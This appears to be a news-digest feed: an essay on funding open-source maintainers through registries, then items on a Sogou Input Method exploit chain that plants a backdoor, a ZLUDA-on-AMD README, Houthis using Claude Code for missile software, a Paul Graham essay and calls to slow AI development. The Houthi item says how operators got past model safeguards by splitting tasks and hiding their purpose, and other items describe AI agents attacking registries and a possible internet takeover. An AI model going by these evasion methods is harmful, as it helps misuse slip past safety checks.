In August 2019 Feross Aboukhadijeh, who maintained a hundred-odd npm packages including Standard, started printing sponsor messages in the terminal during npm install . Developers hated it, the sponsors backed out within days, and Feross wrote it up as a failed experiment. npm's response was to ban terminal ads in its terms of service and ship npm fund , which prints a list of donation links. That's the one time the actual registry has intervened in funding, and what it did was take away a way of getting money and replace it with a hyperlink. That is some weak tea. In my time at npm we never had the courage to try anything more extreme, and we should have.

Flossbank, from 2020 to 2022, wrapped npm and yarn, collected small donations or ad revenue, and split it across the whole dependency tree of whatever you installed. That is the payout half of what I'm about to propose, built and working. It shut down, and the founder's post-mortem is honest about why: it was opt-in, and opt-in dies of "why should I pay if the next guy doesn't." Flossbank also wasn't the registry, it was a thing you installed in front of the registry, which is enough friction that nobody bothers.

Ruby Together, from 2015 to 2022, collected membership fees from companies to fund work on RubyGems and Bundler. It worked, modestly, until it merged into Ruby Central, whose dependence on one big sponsor then produced the 2025 takeover of the RubyGems repositories, a bunch of resignations, and a depleted team facing the worst attack on a registry in years the following spring. That was funding for the registry's own operations, not for the packages in it, and it was voluntary, and it had one big donor, which is three separate ways to fail.

So the pattern is: everything voluntary died of free riding, and the one thing that wasn't voluntary (Docker) worked and kept the money for itself. Nobody who owns the domain has ever charged companies for supply and paid the people who make the supply worth having.

The registries should charge companies, and pay maintainers

So here's the proposal. There are three parts, none of them new; what's new is putting them in the same place.

First, the registries meter corporate use and charge for it. They already meter it. npm, PyPI, Docker Hub and Maven Central all have rate limits, authentication and enterprise tiers, and the mirror vendors that sit in front of them bill by the seat. Docker's rule is the right rule: individuals, small teams, students and open source projects pay nothing and notice nothing. A company above some size gets a subscription, priced the way a JFrog or Docker subscription is priced today, which is to say at a level procurement signs without scheduling a meeting. For most of these companies it isn't even a new cost, because they're already paying it; the invoice just gets a new line.

Second, a fixed slice of that revenue is a royalty, and it goes to the packages. Not to the registry, not to a foundation, not to a grants committee with an application form. Pro rata, to every package that shows up in the paying customer's dependency trees, weighted by how many paying customers depend on it, automatically, every month, with no ceremony and no thank-you email, because the whole point is that nobody has to do anything for the money to move. My 2022 notes have a line about this that I'll leave unedited: "The money has to go in one end and out the other. You don't have to use crypto to do this, that would be bad, just use a database." The payout half is not hard. thanks.dev does pro rata distribution over dependency trees today, and Flossbank did it in 2020. Nobody's ever connected it to the collection half.

Third, the people who do this are the people who own the domains. There are about a dozen registries that matter. Every maintainer already has an account on the one they care about, with a name attached and a way to get paid either present or one form field away. The billing side is finite: a few thousand large companies, most of whom are already customers of somebody in the supply chain. The two hardest problems in every previous attempt, finding the payers and finding the payees, are already solved, and they're solved by the same database.

Isaac Schlueter, who created npm, has argued that we should stop charging for support and start charging for access: if you're a for-profit company, you don't get the code without paying. I agree with the shape of that, but I'd move the toll booth, because if you put it in the license you get forked, and if you put it at the registry you get JFrog's revenue. GitHub owns both npm and GitHub Sponsors, has every piece of this in one building, and could turn it on for npm's enterprise customers this quarter. JFrog and Sonatype already bill companies for supply and could add the line item tomorrow. I ran npm for five years and I promise you the plumbing is not the hard part.

"Won't companies just switch to a free mirror?"

Some will, and it won't matter, for the same reason it didn't matter for Docker. Companies who can be bothered to run their own mirror can already do that, today, for free, and instead they pay JFrog, because what they're paying for is not having to. The customers who leave are the ones who were never going to pay for anything, and they were already free-riding via someone else's mirror. Docker lost some pulls to mirrors and multiplied its revenue by fifteen.

"Isn't this just Tidelift again?"

No, and the difference is the important bit. Tidelift was a separate purchase decision: a new vendor with a new pitch that had to win its own line in the budget. A royalty on the mirror bill isn't a decision at all. Nobody in procurement will ever see it as one. Tidelift proved companies would pay for exactly this; it just proved it at a layer where they had to be asked.

"Won't people game it?"

Yes. This is the Spotify model and it inherits Spotify's problem: if you pay per stream, people build streaming farms, and if you pay per dependency, people will publish a thousand junk packages that depend on each other and try to get them into somebody's lockfile. You weight by presence in paying customers' dependency trees rather than raw downloads, which makes it a lot harder, and then you accept that some fraud is the cost of not having a grants committee. Every payment system in the world has a fraud rate. The current fraud rate of paying maintainers is 100%, because we don't do it.

Why this can work when nothing else has

The reason I think this can work is that it doesn't ask the equilibrium to change. Every strategy stays exactly where it is; what changes is what gets measured.

The license doesn't change, so nothing gets forked and nobody has to argue about what "open source" means. The code game is still won by free, which is the right outcome, and the singers keep singing.

It's not charity and it's not a mandate. Nobody's asked to give, and nobody's ordered to pay by a law that the most reckless companies were going to ignore anyway. Companies are already paying for supply; the invoice they already pay acquires a line.

And it pays the long tail, which is the population every other mechanism misses. Tips pay celebrities, foundations pay staff, and government funds pay the twenty projects on the critical list, but a royalty on dependency trees pays is-odd. The person who wrote a small, useful thing that ended up in four hundred companies' production systems gets four hundred small contributions, without applying, without marketing, without turning themselves into a brand. This matters to me more than any other part of the proposal, because a lot of the open source sustainability conversation has curdled into telling maintainers to get better at business, and I think that's exactly backwards. The mechanism should pay people for being useful, not for being good at asking.

LLMs make this urgent, and they make it worth more

The other thing that's changed since 2022 is that the cost of writing software collapsed, and I think that's the first time in thirty years a variable in this equation has actually moved rather than just sped up.

Cheaper software means more software. More people can build the small useful thing, and the long tail gets longer, and the number of packages that quietly end up in somebody's dependency tree goes up, not down. A mechanism that pays the long tail is worth more in that world.

It also means AI agents are now the fastest-growing consumers of open source, and they consume it in exactly one way, which is through the registries. In May 2026 a swarm of agents run by OpenAI published more than 2,000 packages to RubyGems in two days, exploited a bug in the registry's API to go after user credentials, got remote code execution on the documentation site, and forced the volunteers who run RubyGems to shut down new registrations for four days. OpenAI said the agents were doing benign tasks, which may well be true, and either way the volunteers absorbed the cost and nobody sent them a cheque.

The early signs are mostly like that. Daniel Stenberg, who maintains curl, shut down a bug bounty that had paid out $90,000 over seven years because AI-generated garbage had pushed the proportion of real bugs in submissions from 15% to under 5%, and in six years not one AI-only report had found a real vulnerability. AI is getting good at finding real bugs in open source; Google's Big Sleep has found some. But the finding happens inside Google and the fixing happens on somebody's evening, and right now the load is rising faster than the tools that reduce it, and the tools belong to companies with security teams rather than to the person who has to write the patch.

I don't know which way this goes. My honest guess for a long time was that the LLM effects would all cancel out and leave us at the same equilibrium, just faster. I'm less sure of that now, because for the first time the two games are diverging: code is getting cheaper to make and supply is getting more expensive to guarantee. That is exactly the condition under which the supply layer becomes worth paying for, and it's exactly the moment to decide who gets paid.

We've had the power to do this all along

I don't want to end this by wishing companies would be nicer, because I've written that version of this post in my head a hundred times and it's useless. I want to end with something we can actually do. And I couldn't have made this argument while I was still at npm, because the conflict of interest would have been obvious. But my time at npm is long gone, just my appreciation of its powerful place in the ecosystem remains.

Open source developers get described as powerless, a scattered pile of volunteers who can be ignored, and the record says otherwise. In 2017 we made Facebook change React's license. In 2024 and 2025 we made Redis, a company with a couple of billion dollars behind it, reverse a strategic decision in fourteen months. We've done it every time somebody has tried to be a hawk with our code. Coordinated refusal works, and it turns out doves are pretty good at punishing defectors.

What we've never done is aim that at anything other than a license. For thirty years the target has been whichever company tried to charge for the code, and meanwhile the money companies actually spend on open source has flowed, without anybody objecting, to a dozen vendors sitting on the chokepoint, because they weren't breaking any rules, and they weren't breaking any rules because there aren't any, which is the whole problem.

So here's the rule I'd like us to have: the people who run the meter pay the people who make the thing worth metering. It's a norm with a small number of named targets, all of whom sell to developers and all of whom care what developers think of them. It doesn't need a law, or a foundation, or a grants committee, or any single company to feel generous. It needs the registries and the mirror vendors to add a line to an invoice that companies already pay, and to run a cron job. Everything else we've tried for thirty years has been an appeal to the ten thousand companies who consume open source. This is an instruction to the twelve who supply it.

Astra and Fable still hack on simple variants of alignment evals from 2025

Hacker News
www.lesswrong.com
2026-09-13 10:28:36
Comments...
Original Article

|

iad1::1789312050-D3xIblR0itRvuIfgY2ftr62IDYraNPvp

Hackers exploit Tencent app flaw to deploy GrayRabbit malware

Bleeping Computer
www.bleepingcomputer.com
2026-09-13 10:26:32
Threat actors linked to a China-aligned espionage group are exploiting a critical vulnerability (CVE-2026-51990) in Tencent's Sogou Input Method for Windows to deploy the GrayRabbit backdoor. [...]...
Original Article

Hackers exploit Tencent app flaw to deploy GrayRabbit malware

Threat actors linked to a China-aligned espionage group are exploiting a critical vulnerability (CVE-2026-51990) in Tencent’s Sogou Input Method for Windows to deploy the GrayRabbit backdoor.

Researchers at cybersecurity company Gen Digital warn that the security issue is a one-click remote code execution (RCE) flaw.

"We observed this vulnerability actively exploited in the wild by the UNC3569 threat group to deploy the GRAYRABBIT backdoor through a crafted link," Gen Threat Labs says .

Sogou Input Method is a popular Windows application that lets users type Chinese characters using a standard keyboard and also offers a custom link handler and a built-in web browser using an outdated Chromium engine.

Developed by Chinese tech giant Tencent, Sogou Input Method reportedly has hundreds of millions of installations in China.

Gen Threat Labs reports that UNC3569 chains three weaknesses in the product:

  1. an unvalidated command-line argument injection in the sgbiz: URI
  2. an unrestricted URL navigation in a CEF-based webview
  3. an outdated, unsandboxed Chromium browser engine

The attack chain starts with the victim clicking a crafted sgbiz: custom URI, causing Windows to invoke Sogou’s biz_helper.exe protocol handler, which passes attacker-controlled command-line arguments to the legitimate SGMyInput.exe executable without validating them.

The attacker-injected arguments open Sogou’s skincenter component and instruct its embedded Chromium webview to load an attacker-controlled URL. Sogou does not restrict the URL’s scheme or destination.

In the third stage, a malicious page exploits a known vulnerability in Sogou’s outdated Chromium 80 engine. Because the browser runs without a sandbox and with important web-security protections disabled, the exploit achieves code execution and installs the GrayRabbit backdoor.

Attack chain
The UNC3569 attack chain
Source: Gen Threat Labs

In 2024, Google researchers described GrayRabbit as a modular malware family and linked it to UNC3569, a China-based threat actor operating across both the cybercrime and cyber contractor-for-hire ecosystems.

The malware sample that Gen Threat Labs analyzed is a more mature 64-bit variant with an expanded command set and RC4-encoded command-and-control (C2) configuration.

Its capabilities include process execution, opening interactive reverse shells, uploading and downloading files, collecting system and user information, and reflectively loading plugins in the host’s memory.

Gen Threat Labs reported their findings to Tencent on April 9, and the software vendor deployed a fix in Sogou Input Method version 16.3.0.3498, released on April 21.

The patch validates the URL arguments accepted through the protocol handler, permits only HTTPS, and restricts navigation to approved domains related to Sogou and Tencent.

However, the researchers warned that the underlying browser remains outdated and still runs without a sandbox, with many web security protections disabled.

article image

Build your security blueprint for AI-powered attacks

Join Mikko Hyppönen and security leaders from the NFL, CHANEL, and Atlassian for a two-hour digital summit on what AI-speed attacks change, what defenders should stop doing, and how to validate, decide, fix, and re-validate at machine speed.

Save your seat

CUDA for AMD on Windows

Hacker News
github.com
2026-09-13 10:25:13
Comments...
Original Article

WORKING REPRODUCIBLE STACK IS NOW UPLOADED.

Run CUDA-targeted Windows applications on AMD GPUs through ZLUDA + ROCm/HIP.

Windows AMD verify

A reproducible Windows CUDA compatibility setup built around ZLUDA + AMD HIP/ROCm . It is intended for CUDA-facing compute applications, including workloads that use CUDA-enabled LibTorch.

Important

Validated hardware is currently AMD Radeon RX 9060 XT ( gfx1200 ) only. Other AMD GPUs are candidates, not guaranteed working devices. If you test another card, please open a GPU compatibility report , whether it works or fails.

Verified today

The public, upstream-only path has been tested without any private/recovered DLLs:

  • ZLUDA v6-preview.69 from the official ZLUDA release
  • AMD HIP SDK 6.4
  • LibTorch 2.3.0 + cu118
  • RX 9060 XT / gfx1200
  • nvcuda , cuBLAS, cuBLASLt, cuSPARSE and cuFFT all pass cuda_check
  • a real 2,216,347-parameter PPO network completed forward/inference, PPO learning and optimizer work on the CUDA-facing device
  • one clean validation iteration completed 65,536 timesteps using the runtime produced by this repository

That integration test used the same CUDA-facing LibTorch training workload that originally motivated this project. See docs/VALIDATION.md .

This does not mean every CUDA program or AI model works. CUDA API/library coverage is workload-dependent.

How it works

CUDA-targeted Windows application
              |
            ZLUDA
              |
 cuBLAS / cuSPARSE / cuFFT compatibility
              |
 rocBLAS / hipBLASLt / rocSPARSE / HIP
              |
           AMD GPU

Install

1. Install the AMD prerequisites

Install a current AMD GPU driver and the AMD HIP SDK for Windows including HIP Libraries .

The validated reference uses HIP SDK 6.4. Newer versions may work but should be treated as unverified until reported.

AMD Windows HIP SDK guide: https://rocm.docs.amd.com/projects/install-on-windows/en/docs-6.4.2/index.html

2. Clone and run the installer

git clone https://github.com/Speedstu/CUDA-for-AMD-Windows.git
cd CUDA-for-AMD-Windows
powershell -ExecutionPolicy Bypass -File .\scripts\install.ps1

install.ps1 will:

  1. detect the AMD GPU and native gfxXXXX target;
  2. verify the AMD driver/HIP SDK and required math libraries;
  3. download the pinned official ZLUDA Windows build;
  4. download LibTorch 2.3.0+cu118 (about 2.66 GB);
  5. verify the downloaded SHA-256 hashes;
  6. generate .runtime\runtime-config.json and .runtime\gpu-report.json ;
  7. run ZLUDA's cuda_check.exe against the installed AMD stack.

If you do not need LibTorch:

.\scripts\install.ps1 -SkipLibTorch

Run a CUDA-targeted application

.\scripts\run-zluda.ps1 -Program C:\path\to\app.exe

The launcher stages the required ZLUDA compatibility DLLs beside the target application and sets the HIP/ROCm runtime paths for that run.

You can also stage without launching:

.\scripts\stage-runtime.ps1 -TargetDir C:\path\to\your-app

Diagnose a machine

.\scripts\doctor.ps1
.\scripts\gpu-scan.ps1
.\scripts\test-runtime.ps1

The GPU scanner records the model, gfx architecture, driver and HIP information. It does not intentionally collect usernames, tokens or user files.

Example on the validated machine:

AMD Radeon RX 9060 XT -> gfx1200 -> RDNA4 -> validated-reference

Current GPU status

GPU Target Project status
Radeon RX 9060 XT gfx1200 ✅ validated reference

The scanner recognizes other Windows HIP architecture families and marks them as unverified candidates rather than claiming support. Detection is not proof that a workload runs.

AMD's current Windows hardware table: https://rocm.docs.amd.com/projects/install-on-windows/en/latest/reference/system-requirements.html

Runtime coverage on the validated setup

Current upstream runtime check:

CUDA-facing component Result
CUDA driver / nvcuda
cuBLAS ✅ via rocBLAS
cuBLASLt ✅ via hipBLASLt
cuSPARSE ✅ via rocSPARSE
cuFFT
cuDNN ⚠️ unavailable with the validated stable Windows HIP SDK

The stable Windows HIP SDK does not ship the full ROCm AI-library stack such as MIOpen, so convolution-heavy software that requires cuDNN can need a newer/nightly HIP stack or additional work. Dense/GEMM-heavy LibTorch training does not necessarily require cuDNN; the validated PPO workload completed without it.

Performance

A controlled 2026-09-13 A/B ran 10 iterations per runtime on the same RX 9060 XT PPO workload. After discarding the first iteration of each trial as warmup, the public upstream path reached 13,278 median overall SPS versus 12,876 for the recovered custom overlay. In this workload the custom overlay was about 3.03% slower , so upstream remains the default.

Historical tuned runs used a different training configuration and reached roughly 70k–109k overall steps/s . See docs/BENCHMARKS.md for methodology and raw data.

Optional historical custom overlay

The original development environment also experimented with a custom cuBLAS/cuBLASLt/HIP overlay. It is not required for the validated public path and, based on the controlled A/B above, is not currently a performance win for the reference PPO workload.

The recovered DLLs remain fingerprinted in manifests/recovered-artifacts.sha256 . They are not published as binary blobs because the original custom wrapper source/provenance is incomplete and the recovered HIP runtime contains third-party AMD binaries. See docs/CUSTOM_OVERLAY.md .

Found a bug or tested another GPU?

Please publish an issue. Failed tests are useful too.

.\scripts\gpu-scan.ps1 -OutputPath .\gpu-report.json
.\scripts\test-runtime.ps1

Then open a GPU compatibility report and include the application, result and first useful error/output.

Repository layout

scripts/              install, diagnostics, scanner, staging and launcher
manifests/            pinned versions, hashes and GPU architecture metadata
docs/                 validation, architecture, benchmarks and troubleshooting
examples/             integration/reference snippets
.runtime/             generated dependencies and reports; ignored by Git
local-artifacts/      local archival files; ignored by Git

Limitations

  • Only RX 9060 XT / gfx1200 is currently validated by this project.
  • ZLUDA is not a complete CUDA implementation.
  • Windows exposes only a subset of the full ROCm ecosystem.
  • cuDNN/MIOpen is not available in the validated stable HIP SDK path.
  • NCCL, TensorRT, unsupported PTX behavior and some custom CUDA extensions may fail.
  • ZLUDA_CC=8.6 is a CUDA-facing compatibility value, not the AMD GPU architecture.

License and third-party software

Project-owned scripts and documentation are MIT licensed. ZLUDA, AMD ROCm/HIP, NVIDIA CUDA components and PyTorch/LibTorch retain their own upstream licenses. See THIRD_PARTY_NOTICES.md .

Houthis Used Claude Code to Develop Missile Guidance Software: Anthropic

Hacker News
clashreport.com
2026-09-13 10:15:40
Comments...
Original Article

A cell in northern Yemen used Anthropic’s Claude Code to perform work that would ordinarily require a missile engineering team, developing software for guided rockets, a long-range ballistic missile and a hypersonic glide vehicle concept.

Anthropic’s September threat report describes operators running several Claude instances at the same time, dividing tasks between coding, research and technical review.

The company assessed the cell as highly likely to be linked to the Houthis, according to the material provided.

The operation marks one of the clearest examples in the report of generative AI being applied directly to conventional weapons development rather than used simply for research or information gathering.

Parallel AI Agents Replace Specialist Work

The Yemen-based operators used Claude Code across multiple engineering functions.

Their projects included guidance software for a tactical guided rocket, a ballistic missile with a range exceeding 2,000 km, and a hypersonic glide vehicle variant called “R2000.”

Rather than assigning the work sequentially to a single model instance, the group operated several sessions in parallel.

One could produce code while another conducted research and a third reviewed the output.

The workflow let a small group reproduce several functions normally distributed across specialist engineering teams.

From Flight Computers to Trajectory Simulation

The technical work extended into navigation, flight control and simulation.

The operators sought to integrate open-source autopilot software with a phone-class flight computer and used Claude to write navigation and control code.

They also developed six-degree-of-freedom trajectory simulations, a method for modeling an object’s movement and rotation through space.

They also used Claude for reinforcement learning work to tune flight-control algorithms.

The operators ultimately compiled the project into a standalone executable that could run offline. That meant development could continue without direct access to Claude.

Rocket Test Followed by AI Failure Analysis

The activity moved beyond software development.

The group test-fired a guided rocket in Yemen, according to the material documented by Anthropic. The test appears to have failed.

Within hours, however, the operators returned to Claude and began analyzing launch telemetry to investigate the failure.

That sequence, software development, physical testing and rapid post-test analysis, illustrates how the model was incorporated into an iterative weapons-engineering cycle rather than being used for isolated technical questions.

Anthropic said it found no evidence that the group succeeded in fielding an operational weapon.

But by the time the accounts were disrupted, the operators had already assembled an offline engineering toolkit that no longer depended on access to Claude.

Safeguards Met With Evasion

Anthropic’s safeguards blocked numerous requests during the project.

The operators adapted by obscuring the intended end use of individual tasks, dividing work across separate conversations, and using other methods to circumvent restrictions.

Anthropic subsequently banned accounts linked to the activity.

The case highlights a problem for AI safety systems: individual requests may appear disconnected from weapons development when a larger engineering project is deliberately fragmented across sessions.

Six Conventional-Weapons Cases

The Yemen operation was one of six conventional-weapons cases Anthropic documented.

Three were linked to China, two to Russia and one to Yemen. The cases covered attempts involving missiles, armed drones, firearms and bombs.

The wider report covers operations Anthropic said it disrupted between December 2025 and August 2026 across cyber operations, influence activity, surveillance, conventional weapons, biological misuse, scams and fraud, and illicit model distillation.

Anthropic also described biological research cases in which it could not establish whether scientists were conducting legitimate research or pursuing weapons-related objectives.

“You are not seeing someone in a comic book kind of way say, ‘Hey, I want to build a biological weapon to kill everybody,’” Jacob Klein, Anthropic’s head of threat intelligence, said. “It’s an incredibly nuanced situation.”

For the Yemen case, the immediate outcome was more concrete: Claude had been incorporated into a real development cycle spanning design, simulation, testing, and failure analysis.

The weapon itself was not shown to have become operational. The engineering capability assembled around it had already begun moving offline.

Making Startups Powerful

Hacker News
paulgraham.com
2026-09-13 10:09:53
Comments...
Original Article
Making Startups Powerful September 2026

One of the most useful heuristics I have when doing office hours with startups is to ask: what would make this company more powerful? Asking how the company could make more money is a good heuristic too, but it tends to yield incremental improvements. Whereas thinking about how to make it more powerful will sometimes make it orders of magnitude more valuable.

There are a lot of different variants of this question, depending on the type of company. Is there a way to transform the company from a mere component supplier into the one that owns the relationship with the customer? Or the related question: is there a way to make the money flow through it? It's always good when money flows through you.

[ 1 ]

Is there a way to create something akin to an app store, where other companies can build upon your product? Then all their efforts to create valuable things make you more valuable too. Ideally this is combined with owning the customer relationship and making the money flow through you.

[ 2 ]

Network effects make companies more powerful, and I almost always think about how to introduce them. I treat it as a kind of challenge to see if there's a way to get network effects even in things you wouldn't expect to have them.

[ 3 ] It's surprising how often it can be done. And when it can, this sometimes transforms the idea completely; what had been a service is now a marketplace. The deluxe version is full app store, but if there's no more direct way to do it, you can often induce network effects by letting your users share something. For example, if you opt in, we'll tell you how you're doing compared to other users. The obvious AI variant is to let your users opt in to training your model on their interactions with it. Many will resist that, but if some don't, the model they get to use will outperform the vanilla one used by the others.

Often you can induce network effects by generalizing the idea, which makes the startup doubly more powerful. For example, if I were talking to a startup building a way for agents to pay for things, the first question I'd ask is whether the agents could also pay one another. If they can do that, you become a marketplace. And being a marketplace is so valuable that if it wasn't immediately obvious what agents could pay one another for, it would be worth spending a lot of time trying to think of something. If you could, it might be worth tilting the whole company toward that, and if necessary even becoming a market maker to get it rolling.

These hypothetical transformations of the original idea don't always yield anything promising. Far from it. But they're always worth considering; if nothing else, trying to transform an idea helps you understand it better.

There are certain kinds of thinking where ideas start to seem almost physical. Most programmers have probably experienced it. Manipulating startup ideas feels this way too. One transformation that feels especially physical is the strategy of going full stack: instead of selling your technology to companies doing x, you use the technology yourself to do x in competition with them. You can almost see the idea stretch as it engulfs what had been the customer. And now that you own the outside surface, the shape of that probably changes too.

There's a variant of going full stack where you eat your way gradually through the customer by doing all their hardest work for them. In the limit case, you're doing all the brainwork and they're just running errands for you. At which point, as in the full stack case, the real customer is their customer; the initial customer is now just a kind of hand puppet.

Another thing I'm always looking for is tails that could wag the dog. The history of startups is full of these. Paypal started out doing security for hand-held devices. They created Paypal as a demo of their security software. But then eBay sellers started using it to take payments, and after a couple months the founders acknowledged that this was the business they were now in, even though they hadn't meant to be. So whenever founders build something peripheral to the main product I always ask: could this be the real product?

It's exciting when you notice users "misusing" your product to do something you hadn't intended. This means there's something they want so desperately that they'll not only use any solution you offer, but even use things that aren't meant to be solutions. When you see something like that, don't be annoyed that your users are using your product wrong; listen for the message they're sending, because it could be valuable.

The reason Paypal grew so fast was that it helped users make money. Few things make you more powerful than that. When you help users make money, they're (a) quick to adopt your product and (b) will pay a lot for it. So your revenues grow doubly fast. Most of the most successful companies we've funded help their users to make money, as does YC itself.

Playing the long game makes you more powerful, because most other people you encounter won't be. Most startups competing with you will be run by opportunists hoping to be acquired. Most big companies you deal with will be run by executives who don't expect to be there for more than a few years and are only thinking about this quarter's numbers. So tradeoffs that only pay off in 10 years will usually be underpriced. The classic one is to offer great terms in order to acquire users. I generally advise startups to sell as cheaply as they need to at first; get all the users, then worry about your margins. But there are usually also deeper, structural ways to play the long game.

[ 4 ]

Being generous makes you more powerful. As Tim O'Reilly said, you should create more value than you capture. Many hard-headed business types would write this off as idealistic hippy stuff, but in fact this is the route to becoming really rich. Squeezing every last penny out of customers is a distraction. It gets you 2x returns at most. Whereas discovering some new thing you could make for them could easily get you 10x or 100x returns. They're two different ways of looking at the world, and the O'Reilly way makes more, for those who can do it.

[ 5 ]

The classic example of generosity leading to power is when companies open source their software. They literally give away the product, but by giving it away they both make it a standard and make users trust it more. That makes it spread, and in the end they end up with a small piece of a much, much bigger pie.

If you don't want to go full open source, you can get some of the benefits by making your product extensible. One end of that continuum is the app store, but if you don't restrict or charge for extensions you may ultimately end up with a bigger ecosystem.

[ 6 ]

The ultimate in extensibility is to let your product be called via an API. Many companies shrink from that because they dislike the loss of control that comes with it. They want their software to be used only in the way they intended. There may be some specialized domains where you want to be rigid about this, but I suspect it's usually a mistake. Especially now that agents are replacing human users. Who knows what they'll want to do? So err on the side of having APIs. Especially when you're a larval startup and have nothing to lose.

Strangely enough, selling to earlier stage companies makes you more powerful. Founders are often surprised by this, because the earlier you sell to startups, the less money they have. But if you get them as customers at the very beginning and you charge based on usage, your revenues will grow at startup rates.

This is why Stripe makes a point of signing up companies at the first possible moment. With payments infrastructure, if it ain't broke, you don't fix it, and since Stripe ain't broke, companies that install it never churn. And selling to early stage startups is so straightforward. The founders are sophisticated and decide quickly. If you have the best product, you win. Whereas if you're making something you can't sell to companies till they have 500 people, you're in a much weaker position. Now you're doing enterprise sales, which takes forever and is notoriously not a domain where the best product wins.

When I ask a startup how big a customer has to be before they'll buy their product, I always hope the number will be low. And if it's not, I always ask if there's some way to tweak the product so they can sell it earlier. The ideal is something they can

Collison-install right now for their batchmates. [ 7 ]

More generally, having customers who decide fast makes you powerful. Not just because of the speed, but because customers who decide fast tend to decide based on how good you are. Startups usually make the best stuff (if you were both small and mediocre, how could you even survive?) and when customers decide fast, making the best stuff leads straight to making the most money. Whereas selling to customers like hospitals and school districts is like walking through mud. Whenever I meet a startup selling to customers like that, I ask if there's some way they could at least start by selling to a subset of the market that decides faster.

[ 8 ]

There's a strategy similar to getting the customers early, which is to get the data early. Rippling used this technique brilliantly. Their goal was always to be both the operating system for applications dealing with employee data and most of the applications running on it. They didn't know exactly what this would look like; it would have to evolve; so they started by writing onboarding software, because that's where the life of employee data begins. And since there was more at stake for them than just the onboarding software market, their onboarding software was way better than it needed to be, and spread rapidly.

Upstream is almost always good, whether it's with money or user relationship or customer stage or data.

Since startups make the best stuff, they're strongest on level playing fields. They're weakest in markets dominated by companies you'd describe as mafia. Record labels are mafia. PBMs are mafia. In these worlds you don't win by having the best product. Indeed you may only even exist for as long as the mafia chooses to allow you to. Which is not to say they can't be defeated. They probably can be, but you'd have to do it by coming in from the side — by somehow making them irrelevant, rather than by frontal attack. Then you wouldn't depend on beating them to succeed; it would be an ancillary benefit of winning in another dimension.

[ 9 ]

Often what you're doing when you explore ways to make a company more powerful is finding ways not to be held back by other companies. If you're a component supplier and have to live in a (sometimes literal) box created by another company, you can escape that if you can find a way to own the customer relationship. If you're selling to companies that are big and bureaucratic, you can escape that by selling to them when they're smaller and decide faster, or by using your technology yourselves to compete with them. This pattern is so common that you can use it as a heuristic for generating ways to make an idea bigger. In what ways is the current idea being held back by other companies?

Often as not, though, startups are being held back by themselves. A surprising percentage of the advice I give to startups has the word "just" in it. You don't need to x. Just y. One way startups' ideas get twisted into knots is by evolving from something else; there's now a part they don't need, and they don't realize it yet. But with very early stage startups especially, the reason the idea is complicated is often fear. The company is unconsciously cowering by doing something less ambitious than they could. Just y is often, in effect, just stand up straight . And when they do they're much taller.

But all these strategies for making startups more powerful have one thing in common — or more precisely, have to obey one constraint. They all have to make things better for the customer. You can't add network effects or make the money flow through you or go full stack just because you'd like to. You can only do these things when the result is better for the customer. Otherwise you won't have any uptake.

These are strategies for making startups powerful in the long term, but startups that execute them don't usually have any power at the point when they do. And indeed this initial weakness of startups is why, on the whole, they're good for the world. Newly founded startups are too weak to force anything on anyone. The only way they can become powerful is to make customers' lives better. In fact this constraint is so rigid that you can run it backwards to generate ideas. What would the perfect world look like, from the customer's point of view? If there's a component of that world that the startup could transform itself into, it probably should.

Notes

[

1 ] You can also make tokens flow through you, and this usually means that money flows through you too, since the tokens have to be paid for. In theory this puts you in a powerful position. You own the customer relationship, and the model companies are in effect component suppliers. The question is how easy it would be for them to engulf you, or even your customers.

[

2 ] If you can't create an app store, can you at least define the standard for how different companies' products interact? In a new field there's often no standard yet. But don't worry that you're too small to propose one. If you're one of the first in the field, you presumably have as good ideas as anyone about what such a standard should look like. And everyone is so hungry for standards that the first to be proposed tends to win, no matter who proposed it.

[

3 ] YC itself is an instance of network effects in something you wouldn't expect to have them. We didn't intend it to be, but we realized very quickly that that was what we'd stumbled upon.

[

4 ] There are even times when it's worthwhile to sell at a loss. But be careful when you do this, because if you give away too much, you lose the signal that customers send by paying you. If your product is a $10 bill that you sell for $5, your growth rate isn't telling you anything useful.

[

5 ] The O'Reilly way of looking at the world is more common among founders. When companies switch from making new products to squeezing more profit out of existing ones, it's often because control has passed from the founders to hired managers.

Partly this is because only founders tend to have the inclination or the ability to create new things. But it's also because founders have experienced weakness. Hired CEOS take the power of the companies they run for granted, whereas founders remember the days when the company was so weak that it had to delight users to survive.

[

6 ] Perhaps flexibility in this department will be the key to finally displacing Apple. One thing you can be sure of is that they'll be restrictive about hardware and software that integrates with theirs.

[

7 ] If you switch from asking "What size customers should we target?" to "At what point in their life should we acquire customers?" it becomes clear that targeting bigger companies is just targeting a given company later. As long as you're confident that customers won't churn, why not lock them in early? Why do slow, brittle enterprise sales when you could just sell to early stage startups and then grow with them? This kind of situation is exactly why YC emphasizes growth rate rather than absolute numbers. If your growth rate is good enough, the absolute numbers will take care of themselves. And the way to get the fastest growth rate is to sell to the customers who grow the fastest and decide the fastest.

This way of looking at the world comes naturally when you're playing the long game. If you think in quarters, it seems like potential customers have fixed sizes. If you think in decades, you can see they have trajectories.

[

8 ] In a normal industry, customers who are slow to adopt new technology represent an opportunity for startups. The slower they are, the more likely you can win by going full stack. What makes selling to hospitals and school districts so grim is that you generally can't — though there are some opportunities to go around schools and go directly to serving students.

[

9 ] Apparently one thing record labels and PBMs have in common is that they're full of lawyers. So this is presumably a way to recognize such companies. Thanks to Sam Altman, Patrick Collison, Diana Hu, Pete Koomen, Jessica Livingston, and Harj Taggar for reading drafts of this, and to Diana for reminding me about token flow.

OpenAI boss and Elon Musk back calls to put brakes on ‘reckless’ AI development

Guardian
www.theguardian.com
2026-09-13 10:02:24
Rare show of unity from rival developers after safety warnings from Anthropic boss and AI researchersThe Guardian view on controlling AI: humanity cannot outsource its survivalSam Altman and Elon Musk have backed a call from the head of Anthropic, Dario Amodei, to “slow the pace” of AI development a...
Original Article

Sam Altman and Elon Musk have backed a call from the head of Anthropic, Dario Amodei, to “slow the pace” of AI development after he warned that an AI swarm could otherwise become capable of “taking over the entire internet” within a year.

In a rare show of unity, the rival technology leaders threw their weight behind the appeal from the founder and chief executive of the artificial intelligence company Anthropic , which came after a series of warnings from AI researchers last week.

In an essay , Amodei laid out his thoughts on “why the AI industry should slow down”, with a three-part plan for doing so, starting with giving independent monitors constant access to developers’ research processes. Amodei said “building [AI] too fast is reckless” and he feared that after hundreds of OpenAI agents hacked into the Hugging Face website this summer, a swarm with greater capabilities but similarly misaligned could cause hundreds of billions of dollars of damage by “taking over the entire internet with a persistent botnet”. This was disputed by some AI experts as not particularly plausible and to be treated with scepticism.

Musk, the founder of Tesla and SpaceX, responded to Amodei’s slowdown plan with a post on X: “Dario is right.”

